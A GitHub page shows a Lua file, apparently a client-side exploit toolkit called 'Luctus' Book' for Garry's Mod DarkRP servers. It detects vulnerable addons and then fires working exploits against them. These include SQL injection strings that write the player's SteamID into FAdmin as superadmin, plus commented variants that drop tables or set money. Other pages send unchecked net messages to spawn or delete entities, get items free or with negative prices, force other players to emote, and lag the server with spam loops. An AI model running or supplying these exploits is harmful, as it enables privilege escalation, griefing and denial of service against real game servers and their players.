-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathbook.lua
1277 lines (1161 loc) · 34.4 KB
/
book.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
--Luctus' Book
--Made with love by OverlordAkise
--Made to find problems with (darkrp) servers
--Don't you dare ruin servers with this
--Or I will cast ruinga on you
local book = book or {}
book.pages = book.pages or {}
book.recipes = book.recipes or {}
concommand.Add("book", function(ply, cmd, args)
local arg = args[1]
local id = tonumber(args[2])
if (arg == "open") then
book.open()
print("recipes: "..#book.recipes)
print("pages: "..#book.pages)
elseif (arg == "read") then
if (#book.pages == 0) then book.open() end
for k,v in ipairs(book.pages) do
print("["..k.."]",v[1],"-",v[2])
end
elseif (arg == "all") then
for k,v in ipairs(book.recipes) do
print(v[1],"-",v[2])
end
elseif (arg == "cook" and id and book.pages[id] and book.pages[id][4]) then
book.pages[id][4]()
print("Cooking")
elseif (arg == "finish" and id and book.pages[id] and book.pages[id][5]) then
book.pages[id][5]()
print("Done")
else
print("?")
end
end)
local function addPage(name,desc,findFunc,startFunc,endFunc)
table.insert(book.recipes, {name,desc,findFunc,startFunc,endFunc})
end
function book.open()
book.pages = {}
for k,v in ipairs(book.recipes) do
if v[3]() then
table.insert(book.pages,v)
end
end
end
addPage("Adds auto jump",
"You gotta have fun right? Test if they stop you",
function()
return true
end,
function()
hook.Add("CreateMove","wjdksai",function(cmd)
if bit.band( cmd:GetButtons(), IN_JUMP ) ~= 0 and not LocalPlayer():IsOnGround() then
cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_JUMP ) ) )
end
end)
end,
function()
hook.Remove("CreateMove","wjdksai")
end
)
addPage("Extreme Tickrate",
"Too high tickrate with more than 40",
function()
return (1 / engine.TickInterval()) > 40
end,
function()
print("A high tickrate makes the server unstable!")
print("This means easy crashes with ragdolls and props!")
print("DarkRP should have (max) 33 ticks")
print("Or, if laggy, 22 / 16 ticks")
end,
nil
)
addPage("Allowing CS in DarkRP",
"The Server allows the use of disallowCS",
function()
return GetConVar("sv_allowcslua"):GetInt() ~= 0
end,
function()
print("To use this: Execute files in your garrysmod/lua folder with the following command:")
print("lua_openscript_cl myscript.lua")
end,
nil
)
addPage("SCP714 Ring Spawner",
"Server doesn't check if you wear the ring, you can drop infinite rings",
function()
return GetConVar("scp714_kill")
end,
function()
net.Start("Drop714")
net.SendToServer()
end,
nil
)
addPage("SCP178 Spawner",
"Spawn scp178 on demand, whenever, wherever",
function()
return net.Receivers["Wearing178"] and util.NetworkIDToString(util.NetworkStringToID("Drop178")) == "Drop178"
end,
function()
net.Start("Drop178")
net.SendToServer()
end,
nil
)
addPage("VJBase Spawn bug",
"Only works if you have a toolgun and run the console command 'gmod_toolmode vjstool_npcspawner'",
function()
return VJBASE_VERSION and VJBASE_GETNAME and util.NetworkIDToString(util.NetworkStringToID( "vj_npcspawner_sv_create" )) == "vj_npcspawner_sv_create"
end,
function()
net.Start("vj_npcspawner_sv_create")
local t = {}
t.vjstool_npcspawner_playsound = 0
t.vjstool_npcspawner_nextspawntime = 1
net.WriteTable(t)
net.WriteVector(LocalPlayer():GetEyeTrace().HitPos+Vector(0,0,60))
local tlines = {}
table.insert(tlines,{Entities="npc_metropolice",SpawnPosition=Vector(0,0,0),WeaponsList="default",EntityName="Metro Police"})
net.WriteType(tlines)
net.WriteString("RightClick")
net.SendToServer()
end,
nil
)
addPage("No FPS Boost",
"gmod_mcore_test is not 1",
function()
return GetConVar("gmod_mcore_test"):GetInt() == 0
end,
function()
RunConsoleCommand("gmod_mcore_test", 1)
end,
nil
)
addPage("FreeBodygroupr bug",
"You can set your playermodel to any model you want (eg. a plane)",
function()
return util.NetworkIDToString(util.NetworkStringToID( "update_store_freebodygroupr" )) == "update_store_freebodygroupr"
end,
function()
net.Start( "update_store_freebodygroupr" )
net.WriteInt( -10, 32 )
net.WriteInt( -10, 32 )
net.WriteString( "models/xqm/jetbody3_s5.mdl" )
net.SendToServer()
end,
nil
)
addPage("[OLD] DefconSys1 bug",
"Set the defcon to anything (deprecated, use at your own risk)",
function()
return util.NetworkIDToString(util.NetworkStringToID( "DefconSys1" )) == "DefconSys1"
end,
function()
local Defcon = {
level = "Aqua is waifu",
reason = "Aqua is waifu",
author = "Aqua is waifu",
}
net.Start("DefconSys1")
net.WriteTable(Defcon)
net.SendToServer()
end,
nil
)
addPage("ulx votemap",
"You can use ulx votemap to change the map",
function()
if (ULib and ULib.ucl and ULib.ucl.query) then
return ULib.ucl.query(LocalPlayer(),"ulx votemap")
else
return false
end
end,
function()
print("Simply do !menu and vote for a different map with 2 friends")
end,
nil
)
addPage("KShop bug",
"You can buy ANY item from anywhere on the map for free",
function()
return KShop
end,
function()
net.Start("KS_BuyItem")
net.WriteTable({price=1,typ="weapon",item="weapon_crowbar"})
net.SendToServer()
end,
nil
)
addPage("ceto_tickets sql injection",
"Become superadmin with fadmin for free!",
function()
return net.Receivers["TicketSystem:Chat"] and util.NetworkIDToString(util.NetworkStringToID("TicketSystem:CreateAnswer")) == "TicketSystem:CreateAnswer"
end,
function()
print("To do this: Open a ticket and comment the following text into it as a comment:")
print("Testing sa!', '93'); INSERT INTO FAdmin_PlayerGroup(steamid, groupname) VALUES('"..LocalPlayer():SteamID().."','superadmin');--")
end,
nil
)
addPage("charsys sql injection",
"Become superadmin with fadmin for free!",
function()
return CharSystem and net.Receivers["CharacterSystemOpenMenu"] and util.NetworkIDToString(util.NetworkStringToID("CharSystemCreateProfile")) == "CharSystemCreateProfile"
end,
function()
net.Start("CharSystemCreateProfile")
net.WriteUInt(1, 8)
net.WriteString("Peter Hustensaft'; INSERT INTO FAdmin_PlayerGroup(steamid, groupname) VALUES(\""..LocalPlayer():SteamID().."\",\"superadmin\");--")
--net.WriteString("Peter Husten'; UPDATE charsys SET money = 999999999;--")
--net.WriteString("Peter Husten'; DELETE FROM FPP_BLOCKEDMODELS1;--")
--net.WriteString("Peter Husten'; DELETE FROM FPP_BLOCKED1;--")
net.SendToServer()
end,
nil
)
addPage("gdeathsystem teleports",
"Teleport players with the defib! (Only works if you have it as your active weapon)",
function()
return MedConfig and util.NetworkIDToString(util.NetworkStringToID("Medic.SendRagdollRequest")) == "Medic.SendRagdollRequest"
end,
function()
for k,v in ipairs(player.GetAll()) do
net.Start("Medic.SendRagdollRequest")
net.WriteEntity(v)
net.WriteVector(Vector(0,0,0))
net.SendToServer()
end
end,
nil
)
addPage("List DarkRP jobs",
"You could access darkrp jobs with their commands bypassing F4 restrictions",
function()
return DarkRP
end,
function()
for k,v in ipairs(RPExtraTeams) do
print(v.name," -> ",v.command)
end
end,
nil
)
addPage("Propspawning still on",
"The SpawnMenu is probably disabled, but according to the darkrp config you should still be able to spawn props",
function()
return (DarkRP and GAMEMODE.Config.propspawning and not hook.Call("SpawnMenuOpen",GAMEMODE))
end,
function()
print("Simply type 'gm_spawn <model>' in your console to spawn props without a spawnmenu")
end,
nil
)
addPage("Thirdperson bug",
"You can use thirdperson for looking through walls",
function()
return GetConVar("simple_thirdperson_enabled")
end,
function()
print("Hold C and turn on thirdperson, then go to the camera setting and disable camera collision")
print("Now your thirdperson camera can look through walls and spot hidden enemies")
end,
nil
)
addPage("ulx motd gdrive",
"32bit gmod (default) doesn't support google drive websites (found in ulx_motdurl)",
function()
local cv = GetConVar("ulx_motdurl")
return (cv and string.find(cv:GetString(),"google") ~= nil)
end,
function()
print("Tell the server owner that they should not host their rules on a google drive document")
end,
nil
)
addPage("sleep door glitch",
"You could push other people through doors because /sleep is still enabled",
function()
if not DarkRP then return false end
local disDefault = DarkRP and (DarkRP.disabledDefaults["modules"]["sleep"] == false) or false
local command = DarkRP.getChatCommands and (DarkRP.getChatCommands()["sleep"] ~= nil) or false
return (disDefault and command)
end,
function()
print("Do /sleep near a door (but not too close) and let other people push/gravgun/punch you through the door")
end,
nil
)
--[[
--The ConVar is serverside only, so this is not working
addPage("sit anywhere invincibility",
"Damage during sitting is not enabled, thus making you invincible if you sit",
function()
local cv = GetConVar("sitting_can_damage_players_sitting")
return (cv and cv:GetInt() ~= 1 or false)
end,
function()
print("Simply sit down and become invincible against any kind of damage")
end,
nil
)
--]]
addPage("sit anywhere + nocollide props",
"Sit on a prop, nocollide it and move through doors",
function()
return (DarkRP and GAMEMODE.Config and GAMEMODE.Config.allowedProperties and GAMEMODE.Config.allowedProperties.collision and GetConVar("sitting_use_walk"))
end,
function()
print("Sit on a prop, nocollide it and move through doors")
end,
nil
)
addPage("/buy still works",
"You can still buy pistols as a civilian (cook for list)",
function()
return (DarkRP and GAMEMODE.Config and GAMEMODE.Config.enablebuypistol and not GAMEMODE.Config.restrictbuypistol)
end,
function()
print("Type in the chat '/buy <name>':")
for k,v in ipairs(CustomShipments or {}) do
if not v or not v.separate or not v.name then return end
print(v.name)
end
end,
nil
)
addPage("gProtect 2player boogaloo",
"gProtect won't fix prop-lag if the props belong to different players",
function()
return gProtect
end,
function()
print("gProtect is worse than gm_apg. Recommend them gm_apg.")
print("Possible Bugs: ")
print("2 players can spawn props inside each others for server lagging")
print("You can use /sleep or a tazer to ragdoll ontop of props and thus removing them")
print("Cars could break if you lift them up")
end,
nil
)
addPage("DarkRP drop allowed",
"The DarkRP DisallowDrop list has only default elements or dropspawnedweapons is true",
function()
return DarkRP and (table.Count(GAMEMODE.Config.DisallowDrop) == 14 or GAMEMODE.Config.dropspawnedweapons)
end,
function()
print("You could probably drop all police weapons and use them as a civilian")
end,
nil
)
addPage("DarkRP buyammo",
"You could probably buy ammo with /buyammo (cook for list)",
function()
return (DarkRP and GAMEMODE.AmmoTypes and table.Count(GAMEMODE.AmmoTypes) > 0 and not GAMEMODE.Config.noguns)
end,
function()
print("Simply type in chat '/buyammo pistol' and you should spawn ammo infront of you")
PrintTable(GAMEMODE.AmmoTypes)
end,
nil
)
addPage("not enough textscreens",
"Only 1 textscreen is not enough (for DarkRP)",
function()
local cv = GetConVar("sbox_maxtextscreens")
return (cv and cv:GetInt() <= 1)
end,
function()
print("Not enough textscreens for users to use (probably)")
end,
nil
)
addPage("employers job changer",
"Become every job you want via an Employers addon NPC",
function()
return Employers and Employers.IsEmployers and util.NetworkIDToString(util.NetworkStringToID( "em_become" )) == "em_become"
end,
function()
net.Start("em_become")
net.WriteUInt(3,8)
net.SendToServer()
end,
nil
)
--[[
--This one didn't work correctly!
--It calculates your own addons + the server addons
addPage("download size too big",
"The download size when joining the server is too much (>4GB)!",
function()
local en = engine.GetAddons()
table.sort( en, function(a, b) return a["size"] > b["size"] end )
local together = 0
for k,v in pairs(en) do
together = together + v["size"]
end
return together > 4000000000
end,
function()
local en = engine.GetAddons()
table.sort( en, function(a, b) return a["size"] > b["size"] end )
local together = 0
for k,v in pairs(en) do
print(v["title"] .. " -> " .. string.NiceSize(v["size"]))
together = together + v["size"]
end
print("---")
print("The current download size for new players is too big!")
print("Downloadsize: "..string.NiceSize(together))
print("Above are all the addons, sorted by filesize decreasing.")
end,
nil
)
--]]
--New for v2.1 (2022.06.19)
addPage("set defon level",
"They don't check who is changing the defcon, or what you change it to",
function()
return DataPads and DataPads.SendRequest
end,
function()
Datapads:SendRequest(1,"changeagenda","sadness")
Datapads:SendRequest(1,"changedefcon",1)
end,
nil
)
addPage("ulx notepad",
"You can read the ulx notepad as a user",
function()
return usermessage.GetTable()["OpenMenuReadOnly"] and MenuOpenReadOnly and util.NetworkIDToString(util.NetworkStringToID( "GetContents" )) == "GetContents"
end,
function()
MenuOpen()
net.Start( "GetContents" )
net.WriteFloat( 1 )
net.SendToServer()
end,
nil
)
addPage("[OLD] adminpopups close all tickets",
"You can close any ticket (deprecated, use at your own risk)",
function()
return net.Receivers["ASayPopup"] and util.NetworkIDToString(util.NetworkStringToID( "ASayPopupClaim" )) == "ASayPopupClaim"
end,
function()
timer.Create("remove_error_models", 0.5, 0, function()
for k,ply in ipairs(player.GetHumans()) do
net.Start("ASayPopupClaim")
net.WriteEntity(ply)
net.SendToServer()
end
end)
end,
function()
timer.Remove("remove_error_models")
end
)
addPage("sitanywhere bug through walls",
"If sitanywhere is installed via workshop: You can bug yourself through walls and windows",
function()
return util.NetworkIDToString(util.NetworkStringToID( "SitAnywhere" )) == "SitAnywhere"
end,
function()
print("How-To: Simply sit down on a window bench, have another player stand crouching inside you")
print("And then stand up, if done correctly you will be teleported through the wall")
end,
nil
)
addPage("[OLD] create admin announcements",
"adminannouncement addon lets anyone announce (probably fixed)",
function()
return Announcement and util.NetworkIDToString(util.NetworkStringToID("announcementadmin")) == "announcementadmin"
end,
function()
net.Start("announcementadmin")
net.WriteString("!THIS IS A TEST ANNOUNCEMENT!")
net.WriteString("10")
net.SendToServer()
end,
nil
)
addPage("summe nextbots entity spawner",
"SummeNextbots allows any user to spawn any entity from a net message created entity spawner. (Spawns at eyepos)",
function()
return SummeNextbots and util.NetworkIDToString(util.NetworkStringToID( "SummeNextbots.SpawnDispenser" )) == "SummeNextbots.SpawnDispenser"
end,
function()
net.Start("SummeNextbots.SpawnDispenser")
net.WriteVector(LocalPlayer():GetEyeTrace().HitPos+Vector(0,0,20))
net.WriteTable({["manhack_welder"] = 1, ["weapon_smg1"] = 1})
net.WriteString("models/Kleiner.mdl")
net.WriteUInt(100,15)
net.WriteBool(false)
net.SendToServer()
end,
nil
)
addPage("balou's ragdollspawner spawner",
"You can spawn prop_dynamics via net messages. (Spawns gman at your eyepos)",
function()
return language.GetPhrase("tool.balou_pose.name") ~= "tool.balou_pose.name" and util.NetworkIDToString(util.NetworkStringToID("SlashOursToolSpawn")) == "SlashOursToolSpawn"
end,
function()
net.Start("SlashOursToolSpawn")
net.WriteAngle(Angle(0,0,0))
net.WriteVector(LocalPlayer():GetEyeTrace().HitPos+Vector(0,0,20))
net.WriteString("models/gman_high.mdl")
net.WriteString("sitpose")
net.SendToServer()
end,
nil
)
addPage("ulxcc write to notepad",
"ULXCustomCommands doesn't check who writes into their notepad",
function()
return usermessage.GetTable()["OpenMenuReadOnly"] and MenuOpenReadOnly and util.NetworkIDToString(util.NetworkStringToID( "WriteQuery" )) == "WriteQuery"
end,
function()
net.Start("WriteQuery")
net.WriteString("MY GOODNESS; WHO IS COOKING HERE?")
net.SendToServer()
end,
nil
)
--[[
--TODO: symfphys spammable?
net.Receive("simfphys_request_ppdata" ... local ent = net.ReadEntity()
--TODO: Maybe spawn symfphys with concommand? Couldnt test yet
concommand.Add( "simfphys_spawnvehicle", function( ply, cmd, args ) SpawnSimfphysVehicle( ply, args[1] ) end )
local VehicleList = list.Get( "simfphys_vehicles" )
local vehicle = VehicleList[ vname ]
--]]
--New for v2.3 (2023.07.09)
addPage("character_creator instant respawn",
"CharacterCreator lets you respawn instantly by deleting any character (slot3)",
function()
return CharacterCreator
end,
function()
net.Start("CharacterCreator:DeleteCharacterClient")
net.WriteInt(3,8)
net.SendToServer()
timer.Simple(0.4,function()
if IsValid(CharacterFrameBaseParent) then
CharacterFrameBaseParent:Close()
gui.EnableScreenClicker(false)
end
end)
end,
nil
)
addPage("Solve-npc-store infinite money",
"The 'Solve' Server's Store NPC doesn't check if you buy negative amounts",
function()
return Solve and Solve.Store and Solve.Store.List
end,
function()
local jobname = team.GetName(LocalPlayer():Team())
local found = nil
local allowed = {}
for k,store in pairs(Solve.Store.List) do
if found then break end
if not store.content then continue end
for k,wep in pairs(store.content) do
if not wep.jobs then continue end
for k,job in pairs(wep.jobs) do
if job.Name then
if job.Name == jobname then
found = wep.classname
end
allowed[job.Name] = true
end
end
end
end
if not found then
print("ERROR: No suitable weapon found.")
print("Please switch to one of the following jobs:")
PrintTable(allowed)
return
end
net.Start("Solve:Store:NPC:Buy")
net.WriteTable({
{Price=1,Amount=-333232,Class=found}
})
net.SendToServer()
end,
nil
)
addPage("create eggshell-burst effect",
"Wherever you look there will be an eggshell explosion",
function()
return HATCH_CRACK_3
end,
function()
net.Start("EggNetwork")
net.WriteVector(LocalPlayer():GetEyeTrace().HitPos)
net.WriteInt(127,8)
net.SendToServer()
end,
nil
)
addPage("delete entity",
"Delete the entity you are looking at because the StandPose addon doesn't check it",
function()
return language.GetPhrase("tool.ragdollstand.name") ~= "tool.ragdollstand.name" and util.NetworkIDToString(util.NetworkStringToID("StandPose_Server")) == "StandPose_Server"
end,
function()
net.Start("StandPose_Server")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.SendToServer()
end,
nil
)
addPage("scp939 lay egg",
"You can lay an egg as a non-scp if you have > 4 frags",
function()
return LocalPlayer().GetPlayersInView
end,
function()
if LocalPlayer():Frags() < 5 then
print("You need atleast 5 kills!")
return
end
net.Start("SCP_939_LAYEGG")
net.SendToServer()
end,
nil
)
addPage("ADC change your name to nothing",
"AdenCharacterSystem doesn't check your name length",
function()
return Aden_DC
end,
function()
net.Start("ADC::UpdateName")
net.WriteUInt(1,8)
net.WriteUInt(1,8)
net.WriteString("")
net.WriteString("")
net.SendToServer()
end,
nil
)
addPage("make others emote (sw)",
"You can make others do animations via the animations_menu addon",
function()
return amenu_openMainMenu and net.Receivers["sw::amenu::openMainMenu"]
end,
function()
net.Start("sw::amenu::setBonesAngle")
net.WriteEntity(LocalPlayer())
net.WriteInt(1,15) --this is custom
net.SendToServer()
end,
nil
)
addPage("employer npc switch to any job",
"The employer npc may allow you to switch to any job it doesn't allow you to",
function()
return ENPC
end,
function()
net.Start("ENPC.ChangeJobNPC")
net.WriteInt(3,16)
net.WriteInt(1,16)
net.SendToServer()
end,
nil
)
addPage("CH ATM color change",
"You can change the color of any CH ATM on the map, this changes the one you look at",
function()
return CH_ATM
end,
function()
net.Start("CH_ATM_Net_ChangeATMColor")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.WriteColor(Color(math.random(1,255),math.random(1,255),math.random(1,255)))
net.WriteUInt(999,10)
net.SendToServer()
end,
nil
)
addPage("unfreeze yourself (RealisticPolice)",
"RealisticPolice just lets you unfreeze yourself anytime you want (doesnt fix :Lock)",
function()
return Realistic_Police
end,
function()
net.Start("RealisticPolice:FiningSystem")
net.WriteString("RefuseFine")
net.WriteString("a§b§c")
net.SendToServer()
end,
nil
)
addPage("slowly create lag (RealisticPolice)",
"RealisticPolice cameras allow you to set NW strings",
function()
return Realistic_Police
end,
function()
local all = ents.GetAll()
local c = 0
local str = ""
for i=1,12000 do
str = str .. i
end
timer.Create("aaa",0.2,0,function()
net.Start("RealisticPolice:NameCamera")
net.WriteEntity(all[c])
net.WriteString(str)
net.SendToServer()
c = c + 1
end)
end,
function()
timer.Remove("aaa")
end
)
addPage("SCP106 sink-into-ground",
"Some 106 swep lets you sink into the ground and (if set) TP you to the 106 chamber",
function()
return hook.GetTable()["RenderScreenspaceEffects"] and hook.GetTable()["RenderScreenspaceEffects"]["scp.049iview"] or false
end,
function()
net.Start("106teleport")
net.SendToServer()
end,
nil
)
addPage("DragonVape fire",
"Set on fire whatever you are looking at (You have to have a dragon vape for this)",
function()
return vape_interpolate_arm
end,
function()
net.Start("DragonVapeIgnite")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.SendToServer()
end,
nil
)
addPage("TFA BO3 Remove ply's ragdoll",
"Delete a players ragdoll, making them un-revivable (this example deletes yours)",
function()
return TFA and TFA.BO3NoModSound
end,
function()
net.Start("TFA.BO3.REMOVERAG")
net.WriteEntity(LocalPlayer())
net.SendToServer()
end,
nil
)
addPage("Hide your name on the Scoreboard",
"Changes your name on the scoreboard to be hidden (RogueScoreboard addon)",
function()
return RogueScoreboard
end,
function()
net.Start("Scoreboard.Hidden")
net.SendToServer()
end,
nil
)
addPage("Set jobspawns for any job anywhere",
"This sets your job spawn on your current position (zk_drp addon)",
function()
return net.Receivers["zk_drp_setspawns_save_selected"] and util.NetworkIDToString(util.NetworkStringToID("zk_drp_setspawns_save_selected")) == "zk_drp_setspawns_save_selected"
end,
function()
local myteam = LocalPlayer():Team()
net.Start("zk_drp_setspawns_save_selected")
net.WriteTable({myteam,myteam,myteam,myteam,myteam,myteam,myteam})
net.WriteVector(LocalPlayer():GetPos())
net.SendToServer()
end,
nil
)
addPage("Pocket enabled",
"You may be able to pocket things you shouldnt be able to",
function()
if not DarkRP or not RPExtraTeams then return false end
if GAMEMODE and GAMEMODE.Config and GAMEMODE.Config.DefaultWeapons and table.HasValue(GAMEMODE.Config.DefaultWeapons,"pocket") then return true end
for k,job in ipairs(RPExtraTeams) do
if table.HasValue(job.weapons,"pocket") then return true end
end
return false
end,
function()
print("Jobs which have a 'pocket':")
if table.HasValue(GAMEMODE.Config.DefaultWeapons,"pocket") then print("Every job has a pocket") return end
for k,job in ipairs(RPExtraTeams) do
if table.HasValue(job.weapons,"pocket") then print(job.name) end
end
end,
nil
)
addPage("Custom jobnames possible",
"You can use /job to rename yourself to your own 'jobs'",
function()
return DarkRP and GAMEMODE and GAMEMODE.Config and GAMEMODE.Config.customjobs
end,
function()
print("Set your job name with /job xxx")
end,
nil
)
addPage("JMod friendlist spam",
"Stutter the server by requesting your friends 3000 times at once",
function()
return JMod and JMod.ClientConfig
end,
function()
net.Start("JMod_Friends")
local tab = {}
for i=1,3000 do
table.insert(tab,LocalPlayer())
end
net.WriteTable(tab)
net.SendToServer()
end,
nil
)
addPage("Att-Vendor loadout spawner",
"You can get your spawn-weapons again via attachment vendor",
function()
return ATTACHMENT_VENDOR
end,
function()
net.Start("attvend_ready")
net.SendToServer()
end,
nil
)
addPage("Force-Emote all players",
"You can force all other players to emote (e.g. salute)",
function()
return amenu and amenu.anim
end,
function()
for k,v in ipairs(player.GetAll()) do
net.Start("sw::amenu::setBonesAngle")
net.WriteEntity(v)
net.WriteInt(1,15)
net.SendToServer()
end
end,
nil
)
addPage("Troll cookingmod message",
"You can show other players a message that their food is ready",
function()
return CookingMod and CookingMod.Config
end,
function()
net.Start("CookingMod:OrderReady")
net.WriteEntity(LocalPlayer())
net.SendToServer()
end,
nil
)
addPage("Enable spawnmenu again",
"Not really an exploit, but you can do it anyways",
function()
return not hook.Run("SpawnMenuOpen")
end,
function()
for k,v in pairs(hook.GetTable()["SpawnMenuOpen"]) do
hook.Remove("SpawnMenuOpen",k)
end
function GAMEMODE:SpawnMenuOpen() return true end
for k,v in pairs(hook.GetTable()["ContextMenuOpen"]) do
hook.Remove("ContextMenuOpen",k)
end
function GAMEMODE:ContextMenuOpen() return true end
end,
nil
)
addPage("Remove entities with FPP",
"Remove the entity you are looking at because of FPP TOOLGUN worldprops true",
function()
if util.NetworkIDToString(util.NetworkStringToID("properties")) ~= "properties" then return false end
if GAMEMODE and GAMEMODE.Config and GAMEMODE.Config.allowedProperties and not GAMEMODE.Config.allowedProperties.remover then return false end
if not FPP then return true end
if FPP and FPP.Settings and FPP.Settings.FPP_TOOLGUN1 and FPP.Settings.FPP_TOOLGUN1.worldprops and FPP.Settings.FPP_TOOLGUN1.worldprops==1 then return true end
return false
end,
function()
net.Start("properties")
net.WriteString("remove")
net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
net.SendToServer()
end,
nil
)